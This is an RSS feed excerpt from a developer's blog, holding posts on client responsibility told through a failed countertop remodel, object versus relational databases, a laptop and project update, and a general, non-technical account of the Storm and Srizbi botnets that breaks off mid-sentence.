isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:187426</guid><dc:creator>robconery</dc:creator><slash:comments>5</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=187426</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/01/16/software-design-kuleana.aspx#comments</comments><description>&lt;p&gt;Last year I tore apart my kitchen with a sledge hammer and a crowbar. I knocked a wall down, ripped out the old, crumbly cabinets, and tore up the 20-year old vinyl flooring that was discolored and horrifically 80’s. I specifically remember using my crowbar to pull off one section of cabinets, sawing it completely in half with my Sawzall, and then flinging it off my lanai, crashing into the ground below, exploding into broken pieces of Bad 70’s Kitchen Cabinetry.&lt;/p&gt;  &lt;p&gt;Out of this came an &lt;a href="http://picasaweb.google.com/lh/photo/PSVQwKatG_lNjDR2yp8rEA?authkey=E7v7qw4XCZw&amp;amp;feat=directlink"&gt;awesome kitchen remodel&lt;/a&gt; that we worked really hard for:&lt;/p&gt;  &lt;table style="width:auto;"&gt;     &lt;tr&gt;       &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/PSVQwKatG_lNjDR2yp8rEA?authkey=E7v7qw4XCZw&amp;amp;feat=embedwebsite"&gt;&lt;img src="http://lh3.ggpht.com/_Y8WxU6Aqj68/RpPWRS1euSI/AAAAAAAAAaM/b76Av61zBtY/s144/IMG_1447.jpg" alt="" /&gt;&lt;/a&gt;&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td style="text-align:right;font-family:arial,sans-serif;font-size:11px;"&gt;From &lt;a href="http://picasaweb.google.com/robconery/HousePics?authkey=E7v7qw4XCZw&amp;amp;feat=embedwebsite"&gt;House Pics&lt;/a&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt;  &lt;p&gt;&lt;strong&gt;Awesome Except for One, Massive Thing&lt;/strong&gt;    &lt;br /&gt;See those counter tops? They’re concrete. A choice my wife and I made because we love the look and also because we wanted to be as “green” as possible. Our contractor was highly recommended (friend of a friend) and his price was right – not the cheapest but within our budget. He came in and spent about 2 hours with us one day, meticulously laying out measurements and “layouts” that would help him create the cast. This is when I started to get uneasy.&lt;/p&gt;  &lt;p&gt;“I thought you were going to build the forms right here and and poor everything in place so we won’t have seams and everything remains level” I asked. &lt;/p&gt;  &lt;p&gt;“Sure, I could do that but if I use forms then I can cast everything upside down in my workshop with this special material that will leave a nice, shiny surface that won’t need to be polished endlessly. Saves on hours and also keeps the mess down – otherwise I’d probably make a mess of your kitchen. Also, if any part of it breaks in the future, you can just replace a section and not the whole counter”.&lt;/p&gt;  &lt;p&gt;Saving money and mess – sounded like a good argument. Also it seemed like a good “maintainability” plan which appealed to my geek side.&lt;/p&gt;  &lt;p&gt;On the day he delivered the counter we found out he had to create more sections than he anticipated, due to weight and fragility. The section next to the sink was liable to break during installation, so he played it safe and made one section into two. This made me uneasy again – the seam was right down the middle of the sink and seams and sinks don’t make good friends (food, water, etc). But I trusted him, so on we went.&lt;/p&gt;  &lt;p&gt;Once all the sections were fitted in, the contractor sat there and stared at it and said the words all homeowners dread: “hmm, that’s a little bigger than I thought it would be”. And thus started our adventures in counter-top pain. Over the course of the next 6 months everything with the counter went to hell:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;He used the wrong edging on the forms so that the seam edges were rounded (normally you only want the outer edges of the counter to be rounded so they’re not sharp). This caused the seems to have a 1/2 inch gap – not good.&lt;/li&gt;    &lt;li&gt;He filled the gap using concrete putty, with his fingers. It looks like my 6-yr old did it.&lt;/li&gt;    &lt;li&gt;He punched a hole through the section next to the sink when he was drilling the supports (from underneath) for our dishwasher. He tried to patch it but it didn’t work since it looked like… a patched hole in the nice concrete counter. He hired a “touch-up” artist to paint over it and it looked OK for 4 months until the paint started to peel off. It wasn’t supposed to peel, but it did because …&lt;/li&gt;    &lt;li&gt;He forgot to seal the countertops. The first time I cooked on the stove I stained the counter around it with a nice dark halo, caused by the exceedingly greasy stir fry I made.&lt;/li&gt;    &lt;li&gt;When he ultimately sealed the counter tops, he used the wrong sealer. It wore off in 4 months (it was water-based and they don’t work so well when you wipe counters off with water-based water on a towel) and pretty soon we had glass rings, metal leachate rings (white rings from metal contact), and juice stains.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Long story short – he eventually stopped returning our calls and we didn’t pay him. Everything came to a head last week when he asked to get paid (believe it or not) and I basically told him:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;I’m not paying you for effort, I’m paying you for countertops. I don’t have those – so you don’t get paid.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;He then said “oh well, I guess we’ll call it a writeoff and a hard lesson learned.”. Which means I ultimately lose in this deal as I now have to clean up his mess (and pay someone to do it). I might just whip out my sledge hammer and crowbar again…&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Why I’m Telling You This Story&lt;/strong&gt;    &lt;br /&gt;How many times have you gotten into a scrape with a client or boss? Have you ever grumbled when they’re seemingly unreasonable and tell you what technology to use? I have, and it’s no fun.&lt;/p&gt;  &lt;p&gt;In this case my contractor was focused on how best to get things done with minimal “friction” and maximum maintainability. Believe it or not – sometimes that kind of thing may actually hinder the delivery of what your client wants. For instance:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;How many times have you shaved the scope because of a particular architectural design choice?&lt;/li&gt;    &lt;li&gt;How many times have you had to rip out a technology set at midnight and then code all night long to get your client’s site back online?&lt;/li&gt;    &lt;li&gt;How many times have you talked a client out of a feature because it wouldn’t fit with your design choice? &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;If you’ve said “never” to all three of these – I applaud you (I can’t do that). Or maybe you should go look in the mirror and see how long your nose is :). My point is that the client ultimately trusts you, but that trust has NOTHING to do with technology and everything to do with delivering what they expect to see. Mastering this understanding is at the core of what we do, and almost always at the core of every client disagreement.&lt;/p&gt;  &lt;p&gt;If you’re about to tell me “yes but clients always change their mind” – I’ll agree with you. I’ll also say that since you know this, you should be ready for it. In my case I didn’t change my mind on my counters – it was changed for me (which happens a lot too). The contractor did his best but I didn’t get what I wanted – nice countertops. He didn’t get paid – the equation is simple.&lt;/p&gt;  &lt;p&gt;Now I could have sat there and told him “no – I don’t want sections, I want you to cast it in place. I also want you to make sure to use small screws when putting in the dishwasher, and also make sure you use a top of the line concrete sealer” – but should I have needed to do this? Moreover – I didn’t even know these were issues until they became issues. &lt;/p&gt;  &lt;p&gt;This mess could have been avoided if…&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;We had a better dialog&lt;/strong&gt;. I should have made it clearer what I was willing to compromise on, and what I wasn’t. Likewise he should have explained a bit more (visually) on what I was going to get out of the deal.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;He had a better work ethic or “&lt;a href="http://www.managingwithaloha.com/2005/03/kuleana.html"&gt;Kuleana&lt;/a&gt;” – a personal responsibility&lt;/strong&gt;. He should have replaced everything the minute he realized how bad it was. I let him know, believe me, and he chose to walk the other direction. I could have (probably should have) chased him down to make things right, but it’s a small island over here and I figured he’d be back for his money (and he was). &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;&lt;strong&gt;What’s Your Kuleana?&lt;/strong&gt;    &lt;br /&gt;All the things we argue about on Twitter and in blog posts, your “Kuleana” is primarily to your client, not yourself or the industry at large. Hopefully the two go hand in hand, but if you find yourself saying “my client doesn’t get it” or “man I wish they let me do X,Y,or Z” then you need to reflect on what it is YOU are doing to foster this situation.&lt;/p&gt;  &lt;p&gt;One of the neat things DDD has is the &lt;a href="http://domaindrivendesign.org/discussion/messageboardarchive/UbiquitousLanguage.html"&gt;Ubiquitous Language&lt;/a&gt; – the structured dialog that builds client understanding. I think this is just a fancy word for “being a good consultant” – something that you are or are not. You’ve heard it before, but it’s very, very true:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;Being a good [relevant partner in a relationship] requires you to listen&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Marriage, friendship, consulting, blogging, Twitter, bowling league on Wednesdays. You have to have listening skillz or you’re not a good [relevant partner in a relationship]. So many client failures can be avoided by realizing the burden of listening is on US, not them. We’re here to solve their issues – it’s our Kuleana.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=187426" width="1" height="1"&gt;</description><category domain="http://codebetter.com/blogs/rob.conery/archive/tags/Philosophy/default.aspx">Philosophy</category></item><item><title>More OODB Crazy Talk</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/01/12/more-oodb-crazy-talk.aspx</link><pubDate>Mon, 12 Jan 2009 21:38:38 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:187271</guid><dc:creator>robconery</dc:creator><slash:comments>2</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=187271</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/01/12/more-oodb-crazy-talk.aspx#comments</comments><description>&lt;p&gt;I listened to &lt;a href="http://altnetpodcast.com/episodes/14-object-databases"&gt;the Alt.NET Podcast the other day&lt;/a&gt; and there was a crazy guy who sounded an awful lot like me on there talking about Object Databases. Doesn’t he know they’re not cool? He must have some kind of career death wish – the need to trash his reputation (or create flame-bait) in the name of Something Fun To Do. I’m not sure he elucidated his thoughts very well, so I’m here to help him out with some details that many of you might not be considering.&lt;/p&gt;   &lt;p&gt;&lt;strong&gt;There’s a Difference in Your Data      &lt;br /&gt;&lt;/strong&gt;One major point that didn’t come out in the discussion until the end was the idea that your application deals with different “types” of data at different times. &lt;img style="border-right-width:0px;margin:5px 0px;display:inline;border-top-width:0px;border-bottom-width:0px;border-left-width:0px;" title="endless_summer" border="0" alt="endless_summer" align="right" src="http://codebetter.com/blogs/rob.conery/endless_summer_22A25E3E.jpg" width="250" height="313" /&gt;Yes, I know this sounds weird, but consider it for a moment in terms of the Road Trip. Let’s roll back to college for a moment – your buddies want to head to Ensenada for the weekend, and you need to figure some things out before you go:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;There are &lt;strong&gt;people&lt;/strong&gt; involved – how many are coming? &lt;/li&gt;    &lt;li&gt;Depending on the amount of people, you’ll need some &lt;strong&gt;cars&lt;/strong&gt; to transport them &lt;/li&gt;    &lt;li&gt;No road trip is complete without roadtrip &lt;strong&gt;tunes&lt;/strong&gt; – you’ll need some groovy tunes to listen to &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Junkfood&lt;/strong&gt;! You have to have some of that for sure! &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Camping supplies&lt;/strong&gt; (which usually is a towel to sleep on and more beer to pour over the little boxes of Cap’n Crunch – called “Crunch Bombs” – in the morning) &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;That’s probably enough. In this we have our Ensenada Domain Model – all of the “objects” we’ll need to have a good time on our Road Trip (I’m sure you can think of more, but I’d like to keep this post PG, at least). These objects comprise what I’ll call “Functional Data” – the stuff you need for your application to properly engage the user.&lt;/p&gt;  &lt;p&gt;The next type of data is “Derivative” or “Resultant” data – the stuff that comes out of the application experience.&amp;#160; You can think of this as the result of a User’s experience with your application – the choices they make, the stuff they view, the behaviors they exhibit when interacting with your creation. This type of data has no upper bound, is time-stamped, and is ultimately what the stakeholder cares about the most – I’ll come back to this.&lt;/p&gt;  &lt;p&gt;On our Ensenada trip – the “resultant” data is what happened on the trip itself:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;The midnight swim in in various states of dress &lt;/li&gt;    &lt;li&gt;Fish tacos and Coronas after 6 hours of surfing, when [Slacker Friend] passed out next to the fire after telling everyone all day how he would rage into the night and through to the next day &lt;/li&gt;    &lt;li&gt;Watching the full moon rise as you’re falling asleep under the stars &lt;/li&gt;    &lt;li&gt;Waking up with ocean dew on your face, slamming some Crunch Bombs, and heading out for Dawn Patrol with your friends &lt;/li&gt;    &lt;li&gt;Hanging with your best friends and knowing that you’re in college and this kind of freedom won’t last forever &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;This type of data revolves around the experience - the stories you tell afterword, the pictures you might share, the things you see, etc. Pulled together these things create the “value” of the whole enterprise – it’s Why You Did It In The First Place. This type of data is what the business guys are after and what they care about the most.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Put The Data Where It Belongs      &lt;br /&gt;&lt;/strong&gt;The two kinds of data I’m talking about here sort of have their own needs in terms of storage, which you can probably guess:&lt;/p&gt;  &lt;ol&gt;   &lt;ol&gt;     &lt;li&gt;The Ensenada Domain Model belongs in something that can support an OO structure the best &lt;/li&gt;      &lt;li&gt;The Ensenada Experience Data belongs in something that can support a lot of data and build interesting stories (aka “queries”), with a great degree of fidelity. &lt;/li&gt;   &lt;/ol&gt; &lt;/ol&gt;  &lt;p&gt;In short: put the domain stuff in an OODB, put the “result” stuff in a relational (or OLAP) system.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Some Real World Examples Please…&lt;/strong&gt;     &lt;br /&gt;Let’s put this in concrete examples, keeping in mind that an OODB and RDBMS can exist together quite happily:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;Commerce&lt;/strong&gt;: Products, Categories, Sales/Coupons, Users – these are domain constructs subject to complex relationships. Put em in an OODB. Orders, statistical tracking (such as times viewed, added to basket, etc) etc. are “resultant” data – stick it in an RDBMS. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Blog/Forums&lt;/strong&gt;: Users, Posts – domain data. Comments, Pingbacks, Links, Ratings – resultant data. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;These examples are of course very arguable :) and might change based on your needs for an application. The bottom-line premise sort of remains the same:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;ORMs can’t hit the 100% Object-Oriented Domain Model for a reason:&lt;strong&gt; Object Oriented Design != Relational Design&lt;/strong&gt;. It just is. It’s time to frame persistence in terms of the design required for the data it’s storing.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;em&gt;&lt;strong&gt;Note&lt;/strong&gt;: I am very aware of that many of the tools out there (NHibernate in particular) can work around a lot of these issues. If you know NHibernate well enough to figure out that you have a problem and how to fix that problem. I say why worry about it? Sure SubSonic is fun and awesome – it’s my baby. I think it would play very well tracking how many Fish Tacos and Crunch Bombs you consumed on your Ensanada trip – so use it to do that!&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;One thing I hear quite often (and I’ve read a good many posts on OODBs since the Alt.NET podcast) is that people don’t think OODBs are &lt;em&gt;&lt;strong&gt;performant&lt;/strong&gt;&lt;/em&gt; (this word brought to you by Jon Galloway). The truth of it is that in most cases they will out perform most RDBMSs – IF you use them properly. The same can be said of an RDBMS … it’s all about proper use of technology.&amp;#160; These things have come a long way and running “deep graph” queries doesn’t cost all that much, as long as you play by the rules of your OODB vendor. &lt;/p&gt;  &lt;p&gt;But this brings us back to the overall suggestion here:&lt;strong&gt; if you’re running Deep Graph queries on your OODB, chances are you’re not storing your data in the right place&lt;/strong&gt;! OODB queries should really be quick access of objects for your Domain to function – not deep dives into a User’s order history. That’s for the relational system!&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;     &lt;br /&gt;If you’re offended, freaked out, excited, nonplussed, hung over, or otherwise maxxed out in one way or another after reading through all this – hooray! Crazy Talk is good, usually, for one of two things:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Testing what we believe, and affirming that The Way We’re Doing It is Right For Us &lt;/li&gt;    &lt;li&gt;Testing what we believe and offering a Whole New Way To Do Something That Makes Us Feel Better &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;What do you think? And as always, the more detail you can offer, the better! If you think I don’t know what I’m talking about – you’re most likely correct.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=187271" width="1" height="1"&gt;</description><category domain="http://codebetter.com/blogs/rob.conery/archive/tags/Crazy+Talk/default.aspx">Crazy Talk</category></item><item><title>Where’s MVC Storefront?</title><link>http://codebetter.com/blogs/rob.conery/archive/2008/12/31/where-s-mvc-storefront.aspx</link><pubDate>Wed, 31 Dec 2008 18:58:00 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:186819</guid><dc:creator>robconery</dc:creator><slash:comments>8</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=186819</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2008/12/31/where-s-mvc-storefront.aspx#comments</comments><description>&lt;p&gt;A lot of people have been asking about the Storefront and whether I’ve abandoned it with all that’s gone on with Oxite, etc. The short answer is no – I haven’t. And believe it or not, Oxite didn’t impact anything with respect for the storefront at all. I promise!&lt;/p&gt;  &lt;p&gt;The deal is that I’m on vacation right now for 2.5 weeks or so in Portland (LOVE IT here). While on vacation I’m stealing time to work on stuff – mainly our forthcoming book. The rest of the time I’m hanging with my family and trying not to freeze to death. People tell me we’re below the Arctic Circle, but I think Portland may actually be somewhere north of Juneau, and they move it around just like in Lost.&lt;/p&gt;  &lt;p&gt;The good news is that I have a new one of these things:&lt;/p&gt;  &lt;p&gt;&lt;img src="http://a248.e.akamai.net/7/248/2041/1497/store.apple.com/Catalog/regional/amr/macbookpro/img/overview-hero.jpg" alt="" /&gt; &lt;/p&gt;  &lt;p&gt;I really can’t say enough about it. This may sound completely silly, but the thing that sold me was the construction of the case – it’s milled from a solid piece of metal. If you notice in the picture – there are no seams. The display is covered completely with a protective glass – this is huge if you have kids that like to poke at Diego and Dora on the screen. It also makes it very easy to clean.&lt;/p&gt;  &lt;p&gt;It’s literally about twice as fast as my 2 yr. old Mac Book – the main reason being the Core 2 Duo processors and DDR3 RAM (which is a big step up from 2 years ago). The price tag is still pretty spendy – the base Mac Book Pro comes in at $1990, the upgraded version is $2499. The good news, however, is that the upgraded version has a bigger hard drive and fills all the RAM slots so you don’t need to buy more RAM – it’s already maxxed at 4G.&lt;/p&gt;  &lt;p&gt;To be honest I feel completely lame for buying this thing with the economy the way it is. The truth of it, however, is that I will be travelling a lot in the coming year and my wife has sort of taken over my old MBP. We could share – sure – and we probably should have. I feel a bit like I’m fiddling while Rome’s aflame. It’s my job, however, and there are things that you can categorize as luxury, as equipment, and as both. I happen to be very high maintenance when it comes to equipment :) and buying a computer every 2 years really is not that crazy.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;A Word About Rails      &lt;br /&gt;&lt;/strong&gt;Macs come with Rails installed (1.2.6 I believe) as well as Ruby (1.8.6). I usually wipe it completely out and start from scratch (I leave Ruby though) as I never trust factory installs with anything.&lt;/p&gt;  &lt;p&gt;It took me about 15 minutes to download and install the latest Rails version (2.2.3) as well as update Gems and install TextMate. I hadn’t played with Rails in a while and it was a lot of fun to see what’s come of the framework in the last year and a half. The use of SQL Lite is an interesting one – not too sure what I think of it but it made the experience a lot more simple I must say. &lt;/p&gt;  &lt;p&gt;The reason I bring this up is simply to say that I’m not losing site of the type of simplicity I love. I’ve ventured deep into DDD land of late (as well as some other areas) and messed around with the more “ornate” and “baroque” sides of development. Hopefully you won’t read an opinion in there – I’ve learned a WHOLE LOT and I have to say that I’m 100 times the geek I was before I started.&lt;/p&gt;  &lt;p&gt;The thing I’m getting at here is that I love simple things. Truly. It’s one of the reasons I really dig the MacBook: the design is soooo clean and simple, the buttons are just the right size, and there isn’t a lot of “engineering filigree” all over the thing. It’s quite Zen.&lt;/p&gt;  &lt;p&gt;To bring us back to where I started (with the Storefront) – it’s always been my focus to keep it simple yet powerful. There is some work left to do with my refactoring, but I’m taking some time away right now to regenerate mind, body, and spirit and hopefully my journey will benefit you in the end.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=186819" width="1" height="1"&gt;</description><category domain="http://codebetter.com/blogs/rob.conery/archive/tags/Blather/default.aspx">Blather</category></item><item><title>The Perfect Storm Botnet</title><link>http://codebetter.com/blogs/rob.conery/archive/2008/12/13/the-perfect-storm-botnet.aspx</link><pubDate>Sun, 14 Dec 2008 07:47:00 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:186057</guid><dc:creator>robconery</dc:creator><slash:comments>37</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=186057</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2008/12/13/the-perfect-storm-botnet.aspx#comments</comments><description>&lt;p&gt;I&amp;#39;m sure you&amp;#39;ve been told, numerous times no doubt, about Cross-site scripting and that it&amp;#39;s bad. I think, for most developers, the only fear they have of XSS is looking foolish when someone hacks their site, shredding the layout of their pages and sending popups all over the screen. At least that&amp;#39;s what I thought a while back. And it&amp;#39;s all because I didn&amp;#39;t quite get the depth of the soul-corroding evil that uses XSS as a primary attack point. Nor how pervasive it is.&lt;/p&gt;  &lt;p&gt;Come with me, friends, on a Dante&amp;#39;s journey into the black, horrible, dirty depths of the Botnet -&amp;#160; The Hordes of zombie drone computers on the internet that work to Enlarge your Penis, sell you Cialis, and melt your face.&lt;/p&gt;   &lt;p&gt;&lt;strong&gt;An Inconvenient Zombie Death Army&lt;/strong&gt;     &lt;br /&gt;I was studying up today &lt;a href="http://www.wrox.com/WileyCDA/WroxTitle/Professional-ASP-NET-MVC.productCd-0470384611.html"&gt;on a book I&amp;#39;m writing&lt;/a&gt; (the security chapter) and I decided to devote the afternoon to&amp;#160; getting to know more about spam, spammers, and the viruses they write. I know that most machines, when they get infected with a trojan or worm, become part of a larger network which coordinates distributed sending of nasty email. What I didn&amp;#39;t know just how evil these things really are (&lt;a href="http://en.wikipedia.org/wiki/Storm_botnet"&gt;from Wikipedia&lt;/a&gt;):&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;The [Storm] botnet reportedly is powerful enough as of September 2007 to force entire countries off the Internet, and is estimated to be capable of executing more instructions per second than some of the world&amp;#39;s top supercomputers. However, it is not a completely accurate comparison, according to security analyst James Turner, who said that comparing a botnet to a supercomputer is like comparing an army of snipers to a nuclear weapon&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;If that made you catch your breath a bit, read on...&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;At certain points in time, the Storm worm used to spread the botnet has attempted to release hundreds or thousands of versions of itself onto the Internet, in a concentrated attempt to overwhelm the defenses of anti-virus and malware security firms. According to Joshua Corman, an IBM security researcher, &amp;quot;This is the first time that I can remember ever seeing researchers who were actually afraid of investigating an exploit.&amp;quot;&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;It&amp;#39;s one of those things that you really don&amp;#39;t want to know about; but it&amp;#39;s really hard to pull yourself out once you&amp;#39;re in. This rat-hole goes very, very deep. But is it all real? Or is it just some hyped up marketing prattle to get you to buy an Antivirus? You decide for yourself.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;img style="margin:5px;" height="180" alt="spam_zombie2" src="http://codebetter.com/blogs/rob.conery/WindowsLiveWriter/ThePerfectStormBotnet_1324F/spam_zombie2_9b99c725-32da-41f7-9af4-e7aabb47dc5a.jpg" width="360" border="0" /&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;The Picture of Evil: The Srizbi Trojan      &lt;br /&gt;&lt;/strong&gt;Srizbi is only a few years old and is most likely a mutation of one of its precursors. It&amp;#39;s a very small trojan, but &lt;a href="http://en.wikipedia.org/wiki/Srizbi_botnet"&gt;it packs one hell of a punch&lt;/a&gt; (emphasis mine):&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Apart from having an efficient spam engine, the trojan is also very capable in hiding itself from both the user and the system itself, including any products designed to remove the trojan from the system. The trojan itself is fully executed in &lt;/em&gt;&lt;a href="http://en.wikipedia.org/wiki/Kernel_mode"&gt;&lt;em&gt;kernel mode&lt;/em&gt;&lt;/a&gt;&lt;em&gt; and has been noted to employ &lt;/em&gt;&lt;a href="http://en.wikipedia.org/wiki/Rootkit"&gt;&lt;em&gt;rootkit&lt;/em&gt;&lt;/a&gt;&lt;em&gt;-like technologies to prevent any form of detection. By &lt;strong&gt;patching the &lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;NTFS&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt; &lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;file system&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt; &lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;drivers&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;, the &lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;trojan&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt; will make its files invisible for both the &lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;operating system&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt; and any human user utilizing the system&lt;/strong&gt;. The trojan is also &lt;strong&gt;capable of hiding &lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;network traffic&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt; it generates by directly attaching &lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;NDIS&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt; and &lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt;TCP/IP&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;&lt;strong&gt; drivers to its own process&lt;/strong&gt;, a feature currently unique for this &lt;/em&gt;&lt;em&gt;trojan&lt;/em&gt;&lt;em&gt;. This procedure has been proved to allow the trojan to bypass both &lt;/em&gt;&lt;em&gt;firewall&lt;/em&gt;&lt;em&gt; and &lt;/em&gt;&lt;em&gt;sniffer&lt;/em&gt;&lt;em&gt; protection on the system.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Once the bot is in place and operational, it will contact one of the &lt;/em&gt;&lt;em&gt;hardcoded&lt;/em&gt;&lt;em&gt; &lt;/em&gt;&lt;em&gt;servers&lt;/em&gt;&lt;em&gt; from a list it carries with it. This server will then supply the bot with a &lt;/em&gt;&lt;em&gt;zip&lt;/em&gt;&lt;em&gt; file containing a number of files required by the bot to start its spamming business. The following files have been identified to be downloaded:&lt;/em&gt; &lt;/p&gt;    &lt;ol&gt;     &lt;li&gt;&lt;em&gt;&lt;code&gt;000_data2&lt;/code&gt; - mail server domains &lt;/em&gt;&lt;/li&gt;      &lt;li&gt;&lt;em&gt;&lt;code&gt;001_ncommall&lt;/code&gt; - list of names&lt;/em&gt; &lt;/li&gt;      &lt;li&gt;&lt;em&gt;&lt;code&gt;002_senderna&lt;/code&gt; - list of possible sender names &lt;/em&gt;&lt;/li&gt;      &lt;li&gt;&lt;em&gt;&lt;code&gt;003_sendersu&lt;/code&gt; - list of possible sender surnames &lt;/em&gt;&lt;/li&gt;      &lt;li&gt;&lt;em&gt;&lt;code&gt;config&lt;/code&gt; - Main spam configuration file &lt;/em&gt;&lt;/li&gt;      &lt;li&gt;&lt;em&gt;&lt;code&gt;message&lt;/code&gt; - HTML message to spam &lt;/em&gt;&lt;/li&gt;      &lt;li&gt;&lt;em&gt;&lt;code&gt;mlist&lt;/code&gt; - Recipients mail addresses &lt;/em&gt;&lt;/li&gt;      &lt;li&gt;&lt;em&gt;&lt;code&gt;mxdata&lt;/code&gt; - MX record data&lt;/em&gt; &lt;/li&gt;   &lt;/ol&gt;    &lt;p&gt;&lt;em&gt;When these files have been received, the bot will first initialize a software routine which allows it to remove files critical for revealing &lt;/em&gt;&lt;em&gt;spam&lt;/em&gt;&lt;em&gt; and &lt;/em&gt;&lt;em&gt;rootkit&lt;/em&gt;&lt;em&gt; applications. After this procedure is done, the trojan will then start sending out the spam message it has received from the control server.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This trojan &lt;strong&gt;actually patches the NTFS file system in a sort of &amp;quot;Jedi mindtrick&amp;quot; which tells it &amp;quot;I am not the trojan you&amp;#39;re looking for&amp;quot;&lt;/strong&gt;. Not only that, it&amp;#39;s able to talk DIRECTLY to the TCP/IP drivers, and &lt;strong&gt;hide in their cargo hold on the way out of the server bay&lt;/strong&gt;. That, friends, is nutso.&lt;/p&gt;  &lt;p&gt;The most insidious part of all of this is that Srizbi is written using this toolset called &lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9026323"&gt;MPack&lt;/a&gt;, which is a PHP-based, commercially available malware kit. Yes, that&amp;#39;s correct - it&amp;#39;s a malware SDK:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Unusual for such kits, MPack is sold as commercial software (costing $500 to $1,000 US), and is provided by its developers with technical support and regular updates of the software vulnerabilities it exploits. Modules are sold by the developers containing new exploits. These cost between $50 and $150 US depending on how severe the exploit is. &lt;strong&gt;The developers also charge to make the scripts and executables undetectable by antivirus software&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This malware kit is especially effective at exploiting XSS holes in websites that aren&amp;#39;t entirely prepared for 